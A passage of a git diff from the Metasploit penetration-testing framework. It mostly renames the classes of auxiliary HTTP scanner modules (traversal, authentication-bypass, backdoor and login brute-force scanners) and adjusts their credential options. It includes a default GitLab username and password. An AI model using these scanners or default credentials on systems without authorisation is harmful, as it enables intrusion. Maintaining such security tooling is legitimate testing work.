a/modules/auxiliary/scanner/http/cisco_asa_asdm.rb +++ b/modules/auxiliary/scanner/http/cisco_asa_asdm.rb @@ -6,7 +6,7 @@ require 'rex/proto/http' require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/http/cisco_device_manager.rb b/modules/auxiliary/scanner/http/cisco_device_manager.rb index 55d0033399..fe3ca21873 100644 --- a/modules/auxiliary/scanner/http/cisco_device_manager.rb +++ b/modules/auxiliary/scanner/http/cisco_device_manager.rb @@ -8,7 +8,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary # Exploit mixins should be called first include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/scanner/http/cisco_ios_auth_bypass.rb b/modules/auxiliary/scanner/http/cisco_ios_auth_bypass.rb index de6c042743..f1442e9410 100644 --- a/modules/auxiliary/scanner/http/cisco_ios_auth_bypass.rb +++ b/modules/auxiliary/scanner/http/cisco_ios_auth_bypass.rb @@ -8,7 +8,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary # Exploit mixins should be called first include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/scanner/http/cisco_ironport_enum.rb b/modules/auxiliary/scanner/http/cisco_ironport_enum.rb index cf49d589a8..4bed3c6cf5 100644 --- a/modules/auxiliary/scanner/http/cisco_ironport_enum.rb +++ b/modules/auxiliary/scanner/http/cisco_ironport_enum.rb @@ -6,7 +6,7 @@ require 'rex/proto/http' require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/http/cisco_nac_manager_traversal.rb b/modules/auxiliary/scanner/http/cisco_nac_manager_traversal.rb index 7f16552941..42e31918dc 100644 --- a/modules/auxiliary/scanner/http/cisco_nac_manager_traversal.rb +++ b/modules/auxiliary/scanner/http/cisco_nac_manager_traversal.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/http/cisco_ssl_vpn.rb b/modules/auxiliary/scanner/http/cisco_ssl_vpn.rb index 1f8fc7fd14..97aef41367 100644 --- a/modules/auxiliary/scanner/http/cisco_ssl_vpn.rb +++ b/modules/auxiliary/scanner/http/cisco_ssl_vpn.rb @@ -6,7 +6,7 @@ require 'rex/proto/http' require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/http/cisco_ssl_vpn_priv_esc.rb b/modules/auxiliary/scanner/http/cisco_ssl_vpn_priv_esc.rb index 166a48eba2..31fa2d011b 100644 --- a/modules/auxiliary/scanner/http/cisco_ssl_vpn_priv_esc.rb +++ b/modules/auxiliary/scanner/http/cisco_ssl_vpn_priv_esc.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/http/clansphere_traversal.rb b/modules/auxiliary/scanner/http/clansphere_traversal.rb index 3878ced5cd..4f48e3a7a8 100644 --- a/modules/auxiliary/scanner/http/clansphere_traversal.rb +++ b/modules/auxiliary/scanner/http/clansphere_traversal.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/http/coldfusion_locale_traversal.rb b/modules/auxiliary/scanner/http/coldfusion_locale_traversal.rb index c7517d32f1..5fd71d7fbc 100644 --- a/modules/auxiliary/scanner/http/coldfusion_locale_traversal.rb +++ b/modules/auxiliary/scanner/http/coldfusion_locale_traversal.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/http/coldfusion_version.rb b/modules/auxiliary/scanner/http/coldfusion_version.rb index b27972d810..c24e425ffa 100644 --- a/modules/auxiliary/scanner/http/coldfusion_version.rb +++ b/modules/auxiliary/scanner/http/coldfusion_version.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/http/concrete5_member_list.rb b/modules/auxiliary/scanner/http/concrete5_member_list.rb index 15d9170e91..1198f3b850 100644 --- a/modules/auxiliary/scanner/http/concrete5_member_list.rb +++ b/modules/auxiliary/scanner/http/concrete5_member_list.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/http/copy_of_file.rb b/modules/auxiliary/scanner/http/copy_of_file.rb index 27d2ea545c..e528752cf4 100644 --- a/modules/auxiliary/scanner/http/copy_of_file.rb +++ b/modules/auxiliary/scanner/http/copy_of_file.rb @@ -8,7 +8,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::WmapScanFile diff --git a/modules/auxiliary/scanner/http/crawler.rb b/modules/auxiliary/scanner/http/crawler.rb index ac9ac083f0..b3854ca22b 100644 --- a/modules/auxiliary/scanner/http/crawler.rb +++ b/modules/auxiliary/scanner/http/crawler.rb @@ -7,7 +7,7 @@ require 'rex/proto/http' require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::HttpCrawler diff --git a/modules/auxiliary/scanner/http/dell_idrac.rb b/modules/auxiliary/scanner/http/dell_idrac.rb index 0bbc7ecf82..7d60b0886b 100644 --- a/modules/auxiliary/scanner/http/dell_idrac.rb +++ b/modules/auxiliary/scanner/http/dell_idrac.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::AuthBrute diff --git a/modules/auxiliary/scanner/http/dir_listing.rb b/modules/auxiliary/scanner/http/dir_listing.rb index b759eb9fc3..609ab232b9 100644 --- a/modules/auxiliary/scanner/http/dir_listing.rb +++ b/modules/auxiliary/scanner/http/dir_listing.rb @@ -7,7 +7,7 @@ require 'rex/proto/http' require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::WmapScanDir diff --git a/modules/auxiliary/scanner/http/dir_scanner.rb b/modules/auxiliary/scanner/http/dir_scanner.rb index 4c2263dba7..2ac59737ac 100644 --- a/modules/auxiliary/scanner/http/dir_scanner.rb +++ b/modules/auxiliary/scanner/http/dir_scanner.rb @@ -8,7 +8,7 @@ require 'msf/core' require 'thread' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::WmapScanDir diff --git a/modules/auxiliary/scanner/http/dir_webdav_unicode_bypass.rb b/modules/auxiliary/scanner/http/dir_webdav_unicode_bypass.rb index 36f44b069b..e5ef0dc135 100644 --- a/modules/auxiliary/scanner/http/dir_webdav_unicode_bypass.rb +++ b/modules/auxiliary/scanner/http/dir_webdav_unicode_bypass.rb @@ -7,7 +7,7 @@ require 'rex/proto/http' require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::WmapScanDir diff --git a/modules/auxiliary/scanner/http/dlink_dir_300_615_http_login.rb b/modules/auxiliary/scanner/http/dlink_dir_300_615_http_login.rb index a64f3b8a87..cd5d8c4308 100644 --- a/modules/auxiliary/scanner/http/dlink_dir_300_615_http_login.rb +++ b/modules/auxiliary/scanner/http/dlink_dir_300_615_http_login.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/http/dlink_dir_615h_http_login.rb b/modules/auxiliary/scanner/http/dlink_dir_615h_http_login.rb index 8816247bf2..b7076d1cd0 100644 --- a/modules/auxiliary/scanner/http/dlink_dir_615h_http_login.rb +++ b/modules/auxiliary/scanner/http/dlink_dir_615h_http_login.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report @@ -39,6 +39,8 @@ class Metasploit3 < Msf::Auxiliary OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line", File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt") ]), ], self.class) + + deregister_options('HttpUsername', 'HttpPassword') end def target_url diff --git a/modules/auxiliary/scanner/http/dlink_dir_session_cgi_http_login.rb b/modules/auxiliary/scanner/http/dlink_dir_session_cgi_http_login.rb index f2e2ad293a..7bcd2d4518 100644 --- a/modules/auxiliary/scanner/http/dlink_dir_session_cgi_http_login.rb +++ b/modules/auxiliary/scanner/http/dlink_dir_session_cgi_http_login.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report @@ -42,6 +42,8 @@ class Metasploit3 < Msf::Auxiliary OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line", File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt") ]), ], self.class) + + deregister_options('HttpUsername', 'HttpPassword') end def target_url diff --git a/modules/auxiliary/scanner/http/dlink_user_agent_backdoor.rb b/modules/auxiliary/scanner/http/dlink_user_agent_backdoor.rb index ebf3838a7b..5888615617 100644 --- a/modules/auxiliary/scanner/http/dlink_user_agent_backdoor.rb +++ b/modules/auxiliary/scanner/http/dlink_user_agent_backdoor.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/http/dolibarr_login.rb b/modules/auxiliary/scanner/http/dolibarr_login.rb index a121331058..e56dd50a64 100644 --- a/modules/auxiliary/scanner/http/dolibarr_login.rb +++ b/modules/auxiliary/scanner/http/dolibarr_login.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/scanner/http/drupal_views_user_enum.rb b/modules/auxiliary/scanner/http/drupal_views_user_enum.rb index 04d650de51..de97da4895 100644 --- a/modules/auxiliary/scanner/http/drupal_views_user_enum.rb +++ b/modules/auxiliary/scanner/http/drupal_views_user_enum.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::WmapScanServer diff --git a/modules/auxiliary/scanner/http/ektron_cms400net.rb b/modules/auxiliary/scanner/http/ektron_cms400net.rb index 77ff86171e..33cc413ff2 100644 --- a/modules/auxiliary/scanner/http/ektron_cms400net.rb +++ b/modules/auxiliary/scanner/http/ektron_cms400net.rb @@ -3,7 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::AuthBrute diff --git a/modules/auxiliary/scanner/http/elasticsearch_traversal.rb b/modules/auxiliary/scanner/http/elasticsearch_traversal.rb index 58be3c1b0c..410769edab 100644 --- a/modules/auxiliary/scanner/http/elasticsearch_traversal.rb +++ b/modules/auxiliary/scanner/http/elasticsearch_traversal.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'json' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/scanner/http/enum_wayback.rb b/modules/auxiliary/scanner/http/enum_wayback.rb index d15f58d6b0..2e07b0c82c 100644 --- a/modules/auxiliary/scanner/http/enum_wayback.rb +++ b/modules/auxiliary/scanner/http/enum_wayback.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'net/http' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report def initialize(info = {}) super(update_info(info, diff --git a/modules/auxiliary/scanner/http/error_sql_injection.rb b/modules/auxiliary/scanner/http/error_sql_injection.rb index fd0a168ace..fc17c05f01 100644 --- a/modules/auxiliary/scanner/http/error_sql_injection.rb +++ b/modules/auxiliary/scanner/http/error_sql_injection.rb @@ -6,7 +6,7 @@ require 'rex/proto/http' require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::WmapScanUniqueQuery diff --git a/modules/auxiliary/scanner/http/etherpad_duo_login.rb b/modules/auxiliary/scanner/http/etherpad_duo_login.rb index eccfdbc20d..a4daa7af24 100644 --- a/modules/auxiliary/scanner/http/etherpad_duo_login.rb +++ b/modules/auxiliary/scanner/http/etherpad_duo_login.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report include Msf::Auxiliary::AuthBrute @@ -25,6 +25,7 @@ class Metasploit3 < Msf::Auxiliary 'License' => MSF_LICENSE )) + deregister_options('HttpUsername', 'HttpPassword') end def run_host(ip) diff --git a/modules/auxiliary/scanner/http/f5_bigip_virtual_server.rb b/modules/auxiliary/scanner/http/f5_bigip_virtual_server.rb index dade96bb4f..9810b6acaa 100644 --- a/modules/auxiliary/scanner/http/f5_bigip_virtual_server.rb +++ b/modules/auxiliary/scanner/http/f5_bigip_virtual_server.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/http/f5_mgmt_scanner.rb b/modules/auxiliary/scanner/http/f5_mgmt_scanner.rb index 3bb9ab7c3b..b6bcfb05eb 100644 --- a/modules/auxiliary/scanner/http/f5_mgmt_scanner.rb +++ b/modules/auxiliary/scanner/http/f5_mgmt_scanner.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner @@ -26,7 +26,6 @@ class Metasploit3 < Msf::Auxiliary 'DefaultOptions' => { 'SSL' => true, - 'SSLVersion' => 'TLS1', 'RPORT' => 443 } )) diff --git a/modules/auxiliary/scanner/http/file_same_name_dir.rb b/modules/auxiliary/scanner/http/file_same_name_dir.rb index b203939b13..bcc43e883d 100644 --- a/modules/auxiliary/scanner/http/file_same_name_dir.rb +++ b/modules/auxiliary/scanner/http/file_same_name_dir.rb @@ -7,7 +7,7 @@ require 'rex/proto/http' require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::WmapScanDir diff --git a/modules/auxiliary/scanner/http/files_dir.rb b/modules/auxiliary/scanner/http/files_dir.rb index ffd2f92819..75e4e8bf90 100644 --- a/modules/auxiliary/scanner/http/files_dir.rb +++ b/modules/auxiliary/scanner/http/files_dir.rb @@ -7,7 +7,7 @@ require 'rex/proto/http' require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::WmapScanDir diff --git a/modules/auxiliary/scanner/http/frontpage_login.rb b/modules/auxiliary/scanner/http/frontpage_login.rb index a690c8e661..cbaf9fe9d3 100644 --- a/modules/auxiliary/scanner/http/frontpage_login.rb +++ b/modules/auxiliary/scanner/http/frontpage_login.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::Tcp diff --git a/modules/auxiliary/scanner/http/git_scanner.rb b/modules/auxiliary/scanner/http/git_scanner.rb index ee027272ff..4de859464c 100644 --- a/modules/auxiliary/scanner/http/git_scanner.rb +++ b/modules/auxiliary/scanner/http/git_scanner.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/http/gitlab_login.rb b/modules/auxiliary/scanner/http/gitlab_login.rb index 46df091403..1c9e01bf03 100644 --- a/modules/auxiliary/scanner/http/gitlab_login.rb +++ b/modules/auxiliary/scanner/http/gitlab_login.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'metasploit/framework/credential_collection' require 'metasploit/framework/login_scanner/gitlab' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Scanner include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report @@ -28,8 +28,8 @@ class Metasploit3 < Msf::Auxiliary register_options( [ Opt::RPORT(80), - OptString.new('USERNAME', [ true, 'The username to test', 'root' ]), - OptString.new('PASSWORD', [ true, 'The password to test', '5iveL!fe' ]), + OptString.new('HttpUsername', [ true, 'The username to test', 'root' ]), + OptString.new('HttpPassword', [ true, 'The password to test', '5iveL!fe' ]), OptString.new('TARGETURI', [true, 'The path to GitLab', '/']) ], self.class) @@ -58,10 +58,10 @@ class Metasploit3 < Msf::Auxiliary cred_collection = Metasploit::Framework::CredentialCollection.new( blank_passwords: datastore['BLANK_PASSWORDS'], pass_file: datastore['PASS_FILE'], - password: datastore['PASSWORD'], + password: datastore['HttpPassword'], user_file: datastore['USER_FILE'], userpass_file: datastore['USERPASS_FILE'], - username: datastore['USERNAME'], + username: datastore['HttpUsername'], user_as_pass: datastore['USER_AS_PASS'] ) diff --git a/modules/auxiliary/scanner/http/gitlab_user_enum.rb b/modules/auxiliary/scanner/http/gitlab_user_enum.rb index e090a1e07c..da37582bf4 100644 --- a/modules/auxiliary/scanner/http/gitlab_user_enum.rb +++ b/modules/auxiliary/scanner/http/gitlab_user_enum.rb @@ -7,7 +7,7 @@ require 'rex/proto/http' require 'msf/core' require 'json' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/http/glassfish_login.rb b/modules/auxiliary/scanner/http/glassfish_login.rb index ee0000161b..916d510f21 100644 --- a/modules/auxiliary/scanner/http/glassfish_login.rb +++ b/modules/auxiliary/scanner/http/glassfish_login.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'metasploit/framework/login_scanner/glassfish' require 'metasploit/framework/credential_collection' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::AuthBrute @@ -92,7 +92,9 @@ class Metasploit3 < Msf::Auxiliary cred_details: @cred_collection, stop_on_success: datastore['STOP_ON_SUCCESS'], bruteforce_speed: datastore['BRUTEFORCE_SPEED'], - connection_timeout: 5 + connection_timeout: 5, + http_username: datastore['HttpUsername'], + http_password: datastore['HttpPassword'] ) ) end diff --git a/modules/auxiliary/scanner/http/goahead_traversal.rb b/modules/auxiliary/scanner/http/goahead_traversal.rb index 2fa77e2376..2a51219b4c 100644 --- a/modules/auxiliary/scanner/http/goahead_traversal.rb +++ b/modules/auxiliary/scanner/http/goahead_traversal.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/http/groupwise_agents_http_traversal.rb b/modules/auxiliary/scanner/http/groupwise_agents_http_traversal.rb index 2fde2d1901..a8db31c196 100644 --- a/modules/auxiliary/scanner/http/groupwise_agents_http_traversal.rb +++ b/modules/auxiliary/scanner/http/groupwise_agents_http_traversal.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/http/host_header_injection.rb b/modules/auxiliary/scanner/http/host_header_injection.rb index deea80733c..9de954628f 100644 --- a/modules/auxiliary/scanner/http/host_header_injection.rb +++ b/modules/auxiliary/scanner/http/host_header_injection.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::WmapScanServer diff --git a/modules/auxiliary/scanner/http/hp_imc_bims_downloadservlet_traversal.rb b/modules/auxiliary/scanner/http/hp_imc_bims_downloadservlet_traversal.rb index 3339ef4e3b..0d450d626b 100644 --- a/modules/auxiliary/scanner/http/hp_imc_bims_downloadservlet_traversal.rb +++ b/modules/auxiliary/scanner/http/hp_imc_bims_downloadservlet_traversal.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/http/hp_imc_faultdownloadservlet_traversal.rb b/modules/auxiliary/scanner/http/hp_imc_faultdownloadservlet_traversal.rb index 1acddfa9d5..7521cecfb1 100644 --- a/modules/auxiliary/scanner/http/hp_imc_faultdownloadservlet_traversal.rb +++ b/modules/auxiliary/scanner/http/hp_imc_faultdownloadservlet_traversal.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/http/hp_imc_ictdownloadservlet_traversal.rb b/modules/auxiliary/scanner/http/hp_imc_ictdownloadservlet_traversal.rb index bb3859b313..e1051a09d8 100644 --- a/modules/auxiliary/scanner/http/hp_imc_ictdownloadservlet_traversal.rb +++ b/modules/auxiliary/scanner/http/hp_imc_ictdownloadservlet_traversal.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/http/hp_imc_reportimgservlt_traversal.rb b/modules/auxiliary/scanner/http/hp_imc_reportimgservlt_traversal.rb index 81f4519f49..2b3c981d67 100644 --- a/modules/auxiliary/scanner/http/hp_imc_reportimgservlt_traversal.rb +++ b/modules/auxiliary/scanner/http/hp_imc_reportimgservlt_traversal.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/http/hp_imc_som_file_download.rb b/modules/auxiliary/scanner/http/hp_imc_som_file_download.rb index c4dbf3e12f..25d6ca9f37 100644 --- a/modules/auxiliary/scanner/http/hp_imc_som_file_download.rb +++ b/modules/auxiliary/scanner/http/hp_imc_som_file_download.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/http/hp_sitescope_getfileinternal_fileaccess.rb b/modules/auxiliary/scanner/http/hp_sitescope_getfileinternal_fileaccess.rb index 39ff1efbeb..231654fd8d 100644 --- a/modules/auxiliary/scanner/http/hp_sitescope_getfileinternal_fileaccess.rb +++ b/modules/auxiliary/scanner/http/hp_sitescope_getfileinternal_fileaccess.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration.rb b/modules/auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration.rb index 028e951d5c..10ec7754ba 100644 --- a/modules/auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration.rb +++ b/modules/auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb b/modules/auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb index 5d060660b9..17b63d8bad 100644 --- a/modules/auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb +++ b/modules/auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/http/hp_sys_mgmt_login.rb b/modules/auxiliary/scanner/http/hp_sys_mgmt_login.rb index 20cceac73b..05b63143b0 100644 --- a/modules/auxiliary/scanner/http/hp_sys_mgmt_login.rb +++ b/modules/auxiliary/scanner/http/hp_sys_mgmt_login.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'metasploit/framework/login_scanner/smh' require 'metasploit/framework/credential_collection' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::HttpClient @@ -74,10 +74,10 @@ class Metasploit3 < Msf::Auxiliary @cred_collection = Metasploit::Framework::CredentialCollection.new( blank_passwords: datastore['BLANK_PASSWORDS'], pass_file: datastore['PASS_FILE'], - password: datastore['PASSWORD'], + password: datastore['HttpPassword'], user_file: datastore['USER_FILE'], userpass_file: datastore['USERPASS_FILE'], - username: datastore['USERNAME'], + username: datastore['HttpUsername'], user_as_pass: datastore['USER_AS_PASS'] ) @@ -87,7 +87,9 @@ class Metasploit3 < Msf::Auxiliary cred_details: @cred_collection, stop_on_success: datastore['STOP_ON_SUCCESS'], bruteforce_speed: datastore['BRUTEFORCE_SPEED'], - connection_timeout: 5 + connection_timeout: 5, + http_username: datastore['HttpUsername'], + http_password: datastore['HttpPassword'] ) ) end diff --git a/modules/auxiliary/scanner/http/http_header.rb b/modules/auxiliary/scanner/http/http_header.rb index 0fe42d2b52..d344d683a2 100644 --- a/modules/auxiliary/scanner/http/http_header.rb +++ b/modules/auxiliary/scanner/http/http_header.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/http/http_hsts.rb b/modules/auxiliary/scanner/http/http_hsts.rb index 06b6126bad..18a528107f 100644 --- a/modules/auxiliary/scanner/http/http_hsts.rb +++ b/modules/auxiliary/scanner/http/http_hsts.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/http/http_login.rb b/modules/auxiliary/scanner/http/http_login.rb index de43931a43..4df7c0804e 100644 --- a/modules/auxiliary/scanner/http/http_login.rb +++ b/modules/auxiliary/scanner/http/http_login.rb @@ -10,7 +10,7 @@ require 'metasploit/framework/credential_collection' require 'metasploit/framework/login_scanner/http' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report @@ -48,6 +48,8 @@ class Metasploit3 < Msf::Auxiliary OptString.new('REQUESTTYPE', [ false, "Use HTTP-GET or HTTP-PUT for Digest-Auth, PROPFIND for WebDAV (default:GET)", "GET" ]) ], self.class) register_autofilter_ports([ 80, 443, 8080, 8081, 8000, 8008, 8443, 8444, 8880, 8888 ]) + + deregister_options('USERNAME', 'PASSWORD') end def to_uri(uri) @@ -146,10 +148,10 @@ class Metasploit3 < Msf::Auxiliary cred_collection = Metasploit::Framework::CredentialCollection.new( blank_passwords: datastore['BLANK_PASSWORDS'], pass_file: datastore['PASS_FILE'], - password: datastore['PASSWORD'], + password: datastore['HttpPassword'], user_file: 